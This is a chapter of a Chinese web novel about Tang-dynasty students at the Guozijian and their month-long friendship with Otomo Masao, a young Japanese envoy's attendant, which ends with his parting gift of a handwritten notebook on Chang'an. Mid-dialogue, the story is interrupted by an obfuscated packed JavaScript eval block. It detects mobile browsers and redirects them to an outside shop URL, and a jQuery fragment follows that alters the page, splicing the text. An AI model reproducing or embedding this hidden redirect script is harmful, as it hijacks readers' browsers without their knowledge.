十月初八，国子监绳愆厅门口贴了一张新告示。
怀瑾是经过的时候看到的。绳愆厅每天早上都有人围在那里看告示，反正跟自己没关系，看了也是白看。但今天那张告示旁边多了一张小一点的，上面有几个字格外显眼：
"遣唐使子弟到监旁听。"
怀瑾停了一下。不是因为"遣唐使"三个字有多稀奇，长安城里胡商、番僧、遣唐使来来往往，他从小到大见得多了。他停下来是因为告示下面站了三个人，穿的和国子监学生不太一样，衣服颜色素净，布料看上去不差但样式陌生，头上的冠也弧度不同，像是自己国家带来的样式。
三个人中最小的一个，看着也就十五六岁，和怀瑾差不多大，正仰着头读告示上的字。读得很慢，嘴唇在动，但每个字都读对了。
怀瑾站在旁边等了等，等他读完。
那少年读完最后一行，转过头来。
两个人面对面，距离大概三步。那少年比怀瑾矮半个头，脸偏方，颧骨略高，眼睛不大但很亮，嘴唇抿着像在思考什么。他看到怀瑾，愣了一下，然后非常认真地拱手，用一口标准得不像话的汉语说：
"在下大伴真雄，日本国遣唐使之从者。初到长安，诸多打扰，还请兄台多多关照。"
怀瑾差点被"关照"两个字逗笑了。
"你是日本人？"话一出口他就觉得有点傻，衣服不一样、头发梳法不一样、说话还带口音（虽然口音很轻），不是日本人是哪国人。但那少年没有笑他，反而非常认真地点了点头。
"在下日本国大伴氏，随遣唐使团入唐，已历八月。"
"八个月？"怀瑾算了算，"那你是二月来的？"
"二月十七，自难波港出发，海路四十二日，抵扬州。"大伴真雄说这话的时候不带任何表情变化，像在背诵一篇课文，但每个数字都很精确。四十二日。怀瑾记下了这个数字。
"那你汉语说了八个月？"
大伴真雄想了想，摇了摇头。"在下出发前已习汉文八年。海路四十二日中，每日与使团中唐人通事对谈半个时辰。入唐后八月，每日与国子监同窗交流，兼读经史。"
怀瑾心里算了算。八年加八个月，这小子的汉语水平怕是比国子监一半同窗都标准。他说的"关照"虽然有点生硬，但发音字正腔圆，比旁边那个太学生念《诗经》还准。
"我叫裴怀瑾。"怀瑾说，"国子学，二年级。"
大伴真雄又拱了拱手。"裴兄。久仰。"
怀瑾觉得"久仰"两个字用在这里哪里怪怪的，他们今天才第一次见面，有什么好久仰的。但他没说，因为他注意到大伴真雄拱手的时候，袖口露出了一截手腕，手腕上系着一根很细的麻绳，跟知微系在弓弦上的那种差不多。
"你系这个做什么？"怀瑾指了指他的手腕。
大伴真雄低头看了看，然后举起来给怀瑾看。"家中母亲系上的，说可保平安渡海。麻绳不值钱，但家中田地种的麻，母亲自己编的。"
怀瑾"哦"了一声。
他忽然想到自己的手腕，端午时知微给他系的那根深红色长命缕，现在是十月，已经洗得发白了，但他还没摘。大伴真雄的麻绳也是一样的道理，不是值钱的东西，但系的人想让你带着。
"你母亲手巧。"怀瑾说。
大伴真雄愣了一下，然后笑了。笑起来之后整个人跟刚才背诵课文的样子完全不同，眼睛弯了，嘴角翘了，像个十五六岁少年该有的样子。
"母亲手巧，父亲手笨。"他说，"我父亲编的麻绳，我试戴了一次，绳子断了。"
怀瑾笑了。
---
大伴真雄被安排在国子学旁听，和怀瑾同一个教室。
这件事在国子监引起了一些小范围的议论，不是因为日本人在教室里有啥稀奇的，而是因为大伴真雄上课的反应实在太……显眼了。
阮博士讲《春秋左传》"郑伯克段于鄢"那一节，讲到"姜氏何厌之有"的时候，问了一句："郑庄公此举，诸位以为如何？"
教室里一片沉默。
这个问题太老了。《左传》这节从汉到唐被讲了上千年，答案也分了好几派，有说郑庄公"失教"的，有说姜氏"偏心"的，有说共叔段"骄纵"的。无论哪个答案，说出来的都是陈词滥调。
沉默持续了大约十息。
然后大伴真雄举手了。
阮博士看了他一眼，估计是第一次被一个日本人举手问经义，表情有点复杂。但他还是点了点头。"那位……日本国的学子，你来说。"
大伴真雄站起来，先规规矩矩拱了手，然后开口。
他说的是日语。
不，开头是汉语，"先生的提问，在下以为，"然后卡住了。卡得很明显，嘴唇动了动，没声。然后他换了日语，飞快地说了一串，手势还比划了一下，看的出来他在脑子里疯狂翻译。
教室里的国子学学生互相看了看。有人笑了一声，不是恶意的笑，是看热闹的笑。
大伴真雄脸红了。
就红了一瞬。然后他深吸一口气，重新用汉语说：
"在下以为，郑庄公不是不想教，是不知道怎么教。弟弟要什么他都给，但不是弟弟需要的。封在京，给了最大的城，但共叔段要的是哥哥的信任，不是城。所以最后，段入于鄢，庄公置姜氏于城颍。两个人都有错，但错的不在事情上面，在'不知道怎么对彼此好'上面。"
教室安静了。
阮博士看着大伴真雄，看了好几息。然后他说了一句怀瑾没料到的话：
"你坐下的位置，比一半学生都正。"
不是夸他汉语好。是夸他坐得正，身体坐得正，思路也坐得正。
大伴真雄脸又红了。这次红得更厉害。他坐下来，低头看着桌面，耳朵尖红透了。
怀瑾在旁边看着，觉得这小子红耳朵的样子跟知微被夸的时候一模一样。
---
下课以后，怀瑾走到大伴真雄旁边。
"你日语说得挺快的。"这是怀瑾能想到的第一个话题，虽然很蠢。
大伴真雄抬头看他，表情在"他在夸我日语快还是在损我上课说日语"之间犹豫了一下，然后选择了相信前者。
"在下方才……卡住了。不好意思。"
"没事，阮博士又没说不能用日语回答。"怀瑾在他旁边坐下来，"你说得挺对的，郑庄公不是不想教，是不知道怎么教。我从前也这么想过，但说不出来。"
大伴真雄的眼睛又亮了。"裴兄也这样想？"
"嗯。但我不会像你那样说，我可能会说'郑庄公做得不对'，然后给人追着问怎么不对。"
大伴真雄想了想。"裴兄是怕说错？"
"不是怕说错。"怀瑾想了想怎么解释，"是怕说对了以后引来一堆麻烦。在国子监，说对话比说错话更危险。"
大伴真雄没听懂。他的表情很诚实，不懂就是不懂，不装懂。
怀瑾拍了拍他的肩膀。"你以后待久了就懂了。现在先好好上课。"
他站起来走了。走了两步，回头说了一句："你汉语真的比一半同窗好。别紧张。"
大伴真雄又红了耳朵。但这次他笑了。
---
大伴真雄在国子监旁听的事，很快传遍了务本坊。
不是什么大事，遣唐使子弟来国子监旁听，从贞观年间就有，不稀奇。但稀奇的是大伴真雄这个人：他太认真了。
认真到什么程度呢——
他每天第一个到教室，把每个人的位置都擦一遍。不是拍马屁，是他自己的学习习惯：干净的环境才能装得下东西。他在日本的时候就这么做，来唐朝了也是这么做。国子监的学生一开始觉得这日本人有病，后来习惯了，有人开始主动把自己的桌面留给他擦，"反正你都要擦的，多擦一个也没事"。
他下课以后不休息，追着博士问问题。问的不只是经义，他还问长安哪里有好吃的面、哪里能买到好纸、曲江什么时候最好看、上巳节为什么要在水边，什么都问。博士们一开始还有点烦，后来发现这小子问的问题虽然杂，但每个问题背后都有一句"我想理解你们"而不是"我想考倒你们"。态度不一样，回答的人就不一样。
他跟国子监的厨子也混熟了，膳房刘师傅说这小子第一次来就问他"您的羊肉怎么煮得这么烂"，刘师傅说"小伙子你先学会把羊肉煮熟再问我"，大伴真雄第二天就端着一锅自己煮的羊肉来了，虽然煮老了，但刘师傅尝了一口说"敢端来的都是好样的"，从那以后大伴真雄每天膳房帮忙半小时，学到了三道菜的做法。
怀瑾有一次路过膳房，看到大伴真雄系着围裙蹲在灶台边翻锅，一个日本少年在唐朝国子监的厨房里翻锅，画面之荒诞让怀瑾站在门口笑了好久。
大伴真雄听到笑声，抬头看他。
"裴兄笑什么？"
"笑你。"怀瑾也不遮掩，"你在日本也这样？下课后先擦桌子再帮厨？"
大伴真雄想了想。"在家的时候，我母亲说我太急了，什么都想学，什么都想马上会。所以她让我每天只做一件事。到这里以后……事情太多了，我选不过来。"
怀瑾靠在门框上看着他。灶台上的火光映在大伴真雄脸上，那张方脸显得很认真，也很茫然。
"那你选一件今天最重要的事。"怀瑾说。
大伴真雄的锅铲停了一下。"最重要的事？"
"嗯。其他的事，明天再说。"
大伴真雄把锅铲放下，想了想，然后点了点头。
"今天最重要的事，"他看着怀瑾，"是问裴兄一个问题。"
"问我？"
"嗯。裴兄在国子监两年了，最喜欢长安的什么？"
怀瑾没想到这个问题。他靠在门框上想了想。
想的过程比他预想的长。
长风在射圃射箭的时候，是最喜欢长安的时候。
知微在窗前磨东西的时候，是最喜欢长安的时候。
明远在黑暗中说"你折了四折"的时候，是最喜欢长安的时候。
但他没有说这些。他说：
"最喜欢的地方是国子监门口那棵老槐树。"
大伴真雄歪了歪头。"槐树？"
"嗯。每次进出都看到它。春天开花的时候满地白花瓣，踩上去软的。夏天遮阴，冬天叶子掉光了，枝干的样子特别好看，像在说'我光秃秃的但我还在'。"
大伴真雄想了很久。
"我记住了。"他说，"老槐树。下次经过的时候我会看。"
---
大伴真雄来国子监第十天，长风知道了这件事。
消息来源是射圃。长风每天下午必修射箭，不管有没有人教，他自己练。这天他射完一轮，收弓的时候看到远处站着两个人：一个是大伴真雄，另一个是四门学的一个学生，两个人好像在比划什么。
长风拎着弓走过去。
"你们在干吗？"
大伴真雄转过头，认出了他，国子学教室里见过，但这个红脸膛、大嗓门的少年他印象更深：上次《诗经》课上，这个人被博士点名背诵，站起来说"关关是鸟叫，雎鸠是鸟，在河之洲是河里的沙洲，它在叫"。博士的脸当时就跟锅底一样。
"长风兄。"大伴真雄规规矩矩叫人。
"你是那个日本人？"
"在下大伴真雄。日本国——"
"我知道你是日本人，我问你们在干吗。"
大伴真雄身后的四门学生抢着说："大伴兄在看我拉弓，他想学射箭。"
长风看了看大伴真雄，小身板，细胳膊，站姿倒是挺直的。
"你想学射箭？"
"在下想试一试。在我家乡，弓道是武艺必修，但唐弓与倭弓形制不同，我想看一看唐弓是什么样的。"
长风把弓递过去。"那你试试。"
大伴真雄接过来。接的姿势就不对，他接弓的时候是双手捧的，像捧个碗，不是单手握弓把。长风嘴角抽了一下，没说。
大伴真雄把弓举起来，拉弦，拉到一半，弦卡住了。他的胳膊力气不够，拉不到满弓。
"……"大伴真雄看着手里的弓，表情很认真，但弓不认识他的认真。
长风叹了口气。
"你过来。"他招手，"我教你。"
接下来的一刻钟，怀瑾也从教室里出来了，他出来的时候看到的是这样一幅画面：长风站在大伴真雄身后，一只手扶着他的肘，另一只手指着弓臂上的弧度，嘴巴一张一合在说什么。大伴真雄歪着头听，然后点头，然后试着再拉，这次拉到了三分之二。
"行了。"长风松开手，"今天就到这儿。你胳膊没劲儿，练了也白练。先练臂力。"
大伴真雄转过身，对着长风规规矩矩鞠了一个躬，不是唐朝的揖礼，是日本那边的弯腰礼，腰弯得特别深。
长风愣了一下。
然后他哈哈大笑了起来。
"行了行了，你这礼弯腰弯得我怕你起不来了。"
大伴真雄直起腰，也跟着笑了。他的汉语在这个时候又卡了一下，想说什么但找不到词，最后只说了：
"多谢长风兄。"
"谢什么，你下次来射圃，我跟你比试。你要是赢了，我请你吃胡饼。"
怀瑾在旁边听着，觉得这话耳熟。然后他想起来了，上次曲江游的时候，长风输给太学两个人，回来说的是"下次一定赢"。这个人的逻辑永远是：输了没关系，下次赢回来。
"你赢不了他的。"怀瑾插嘴。
长风回头瞪他。"你怎么知道？"
"因为你拉弓的时候手会抖，你以为别人看不出来？"
长风脸一红。"谁抖了！"
"上次射圃你第6箭偏了，手抖了一下，你自己不知道？"
长风不说话了。大伴真雄站在旁边，看看怀瑾，看看长风，表情一副"我是不是不该在这里"的样子。
怀瑾拍了拍大伴真雄的肩膀。"别理他，他每次被说中要害就沉默。"
---
三天后，长风跟大伴真雄在射圃比试了。
起因是大伴真雄来找长风，说想"正式请教射艺"。长风当时正在擦弓，一听这话把布往弓弦上一搭："来。"
射圃下午没什么人。秋天天黑得早，但未时刚过，日头还亮着。两个人各站一端，靶子设在四十步外，这个距离对长风来说跟玩一样，对大伴真雄来说可能正好。
怀瑾和知微不知道什么时候也来了，坐在旁边看。知微带着他永远带着的那一小块磨刀石，等人等人的时候手不能停，这是他的习惯。
明远没来。他应该在典籍厅，这人最近迷上了朝报。
比试开始。
长风先。他站在射位上，深呼吸一次，举弓，拉弦，动作非常流畅，一气呵成。箭出去，中红心偏左一格。
大伴真雄在旁边看着，眼睛一眨不眨。
轮到大伴真雄。他站在射位上，姿势比三天前好多了，看得出这几天找长风"请教"不是白请教的。他举弓，拉弦，也是一气呵成。
箭出去。
中红心。
不是偏左偏右，是正中间。
射圃安静了。
长风张着嘴，看着靶子。靶子上那支箭的尾羽还在微微颤动。
"……你以前射过？"长风的声音有点发紧。
大伴真雄放下弓，想了想，然后很老实地说："在我家乡，每年秋季有射礼。我从十二岁开始参加。射了四年。"
"四年？"长风的音量高了一个调，"你不说你胳膊没劲儿吗！"
"胳膊拉唐弓不够劲儿，拉倭弓够了。"大伴真雄非常诚实，"唐弓比倭弓大，弦也长。但箭法道理一样的，稳住，放。"
长风又看了看靶子。然后又看了看大伴真雄。
然后他笑了。
是那种从肚子里翻上来的笑，不是被打败了不服气的笑，是"行啊你小子"的笑。
"好。"长风说，"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645913|205690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你赢了。"
他走过去，在大伴真雄肩膀上拍了一掌，力气没收住，大伴真雄晃了一下。
"你请我吃胡饼这件事，免了。"长风说，"下次我赢了你再请。但你箭法确实有两下子。"
大伴真雄又鞠了一个躬。这次弯腰没那么深，他大概学到了，在唐朝弯腰太深会把对方吓到。
怀瑾坐在旁边看着这一幕，心里想：这个人从海路来，走了四十二天，学汉语八年，到长安不到一年，射箭赢了顾长风，但他鞠躬的时候腰弯得比谁都深。
这大概就是日本遣唐使子弟的样子：把自己放得很低，但本事藏得很高，来学习更先进的东西。
---
大伴真雄在国子监旁听了整整一个月。
一个月里，他擦了三十次桌面，帮了三十顿膳房的厨，射了十五次箭（赢了长风三次，输了两次，有一次平手），追着博士问了一百多个问题（其中至少二十个是关于"长安什么东西最好吃"的），和怀瑾聊了大概七八次天（每次都问"裴兄最喜欢长安的什么"，怀瑾每次答案都不一样）。
然后，在十月底的一个下午，大伴真雄来找怀瑾。
他站在国子监门口那棵老槐树下，就是怀瑾说"最喜欢"的那棵树。十月底槐树叶子已经黄了，风一吹就落几片下来。
"裴兄。"大伴真雄叫住他。
怀瑾从大门里出来，看到大伴真雄站在树下，手背在身后，这个姿势通常意味着"我要说一件需要准备一下的事"。
"怎么了？"
大伴真雄把手从背后拿出来。手里捧着一本手抄的小册子，册子很薄，大概二三十页，用麻绳系着。封面上写着几个字，字迹不算好看但一笔一划很用力：
"《长安杂记》，大伴真雄手抄。"
"这是……"怀瑾接过来。
"这一个多月，我问了很多人，长安哪里好玩、哪里好吃、哪条街最有意思、哪个季节最美。我把他们说的话都记下来了。但纸上写的都是别人的话，我走过的路不多，所以写不出自己的话。"
怀瑾翻开册子。第一页写的是：
"务本坊：国子监在此坊。坊内有大槐树一棵，秋天落花，春天落叶（？），冬天枝干好看。裴兄说像'我光秃秃的但还在'。"
怀瑾翻了一页。
"崇仁坊：胡商聚集之地。有一个胡人开的烤肉摊，羊肉串在铁签上烤，撒一种叫'安息茴香'的籽。长风兄说好吃。我吃了，确实好吃，但我觉得我可能不会再来第二次，因为安息茴香的味道有一种'吃过就记住了'的感觉，我不想只记住一种味道。"
再翻。
"曲江：春天最好。但我没见过春天的曲江，他们说上巳节的时候全长安的人都去。长风兄说他在曲江翻过船，我不明白翻船有什么好玩的，但他说'你不懂翻船之后的事才好玩'。我想了想，可能'之后'比'当时'更重要。"
怀瑾一页一页翻过去。
册子里记的东西很杂，有街道名字、有食物味道、有某个博士讲课时的口头禅、有国子监斋舍的深夜声音、有长安秋冬之交的风向（"偏北风多，但不冷，因为有城墙挡着"）。每一条都不长，但每一条都有一样东西：大伴真雄在认真看这个城市。
不是走马观花的看，是住下来、擦桌子、帮厨、射箭、被打败、再学……然后记住的看。
"你把这个给我做什么？"怀瑾问。
大伴真雄站在他面前，槐树叶子落在他肩上。他认真地说：
"我要回去了。"
"回去？"怀瑾愣了一下，"回哪儿？"
"回日本。"大伴真雄说，"遣唐使团年底启程。我跟着使团的人走。先到扬州，再海路回去。"
怀瑾手里的册子忽然变得有点沉。
"年底？还有两个月，你才来了一个多月。"
"嗯。使团的大人们说旁听一个月就够了，再多的话，怕我'看多了不想走'。"大伴真雄说这话的时候语气很淡，但他用了"怕"字。
怀瑾听懂了。
不是怕大伴真雄看多了不想走，是怕他看多了，回去以后把唐朝的样子说给别人听，然后有更多人想来。遣唐使团每次来唐朝，都是顶着海路四十二天的风浪来的。来的人多了，海路上沉的船也多了。
政治这种东西，怀瑾在国子监学了两年，还是没能完全搞懂。但他知道：大伴真雄被叫回去，不是因为他学够了。
"你不想走？"怀瑾问。
大伴真雄想了很久。
"想走。"他说，"但也想留。"
"那走吧。"怀瑾把册子合上，系好麻绳，"走了才能再来。不走了，就真的只能想了。"
大伴真雄看着他。然后他又鞠了一个躬，这次腰弯得比在射圃那次深，但没在膳房那次深。大概是找到了一个对唐朝朋友合适的角度。
"裴兄。"他说，"我回去以后，把这本册子给我弟弟看。他比你小两岁，也想来唐朝。我希望他来的时候，你还在。"
怀瑾笑了一下。
"我还在不在，你弟弟来了就知道了。"
---
大伴真雄走的那天，怀瑾没去送。
不是不想去，是觉得送了反而矫情。他们认识才一个多月，算不上什么生死之交。但册子的事让他心里有点堵。
他坐在斋舍里面，对着那本手抄册子发呆。
明远从外面进来了，不知道从哪儿回来的，身上有典籍厅的纸墨味。他看到怀瑾对着册子发呆，没问。
知微在角落磨东西，磨的是一支箭头的铜簇，不知道磨给谁的。他也不问。
长风是最后一个进来的。他一进来就嚷嚷："大伴那小子走了！我都没来得及跟他再比一次，下次见到他他肯定又进步了！"
怀瑾把册子放进袖子里。
"他说他弟弟过两年也要来。"
"那敢情好！"长风一屁股坐下，"到时候我跟他比三局，这次我一定赢。"
明远在旁边翻书，忽然说了一句：
"他对长安好奇，是好事。但他对我们好奇，不是因为想了解我们。是因为他想了解长安。长安不是我们，长安是一个地方，我们刚好在长安。"
怀瑾转头看他。明远头也没抬，继续翻书。
知微放下磨石，也说了句：
"他对我们好奇，我们也对他好奇。但出了这个门，他是遣唐使，你是裴家嫡次子。各走各路。"
怀瑾没说话。
他说得对。大伴真雄是遣唐使的从者，他来看长安、学汉字、射唐弓，都是为了回去以后能用上。而怀瑾是裴家的嫡次子，在这里读书、交朋友、长大，以后荫补入仕，走的是另一条路。
两条路在国子监门口那棵老槐树下交了一小段，然后就分开了。
这很正常。
但怀瑾还是把那本册子放进了袖子里。
---
那天晚上，窗外月亮不圆，但也不算缺太多。十月底的月亮，总是这样，差一点满，但又差得不多。
怀瑾把手放在胸口，册子就在睡衣里面，贴着心口。大伴真雄手抄的麻纸有点粗粝，磨着皮肤，但磨得不疼。
他想起大伴真雄说"我回去以后把这个给我弟弟看"，那本册子会漂洋过海，到另一个国家，被另一个少年翻开。那个少年会看到"务本坊有大槐树"，然后在两年后真的来到长安，站在那棵树下。
到那时候，怀瑾会在哪里？
他还不知道。
但他知道一件事：那棵老槐树会一直在。春天开花，夏天遮阴，冬天光秃秃的，但一直在。
就像有些人走了，但"走了"不等于"不在了"。
怀瑾翻了个身。
有些事情，短时间内确实定不了。
但有些事情不需要定。
比如，明远在隔壁位置翻书的声音，长风在梦里还想跟人比箭的嘟囔声，知微磨东西的沙沙声。
这些声音不需要定。
它们在，就好了。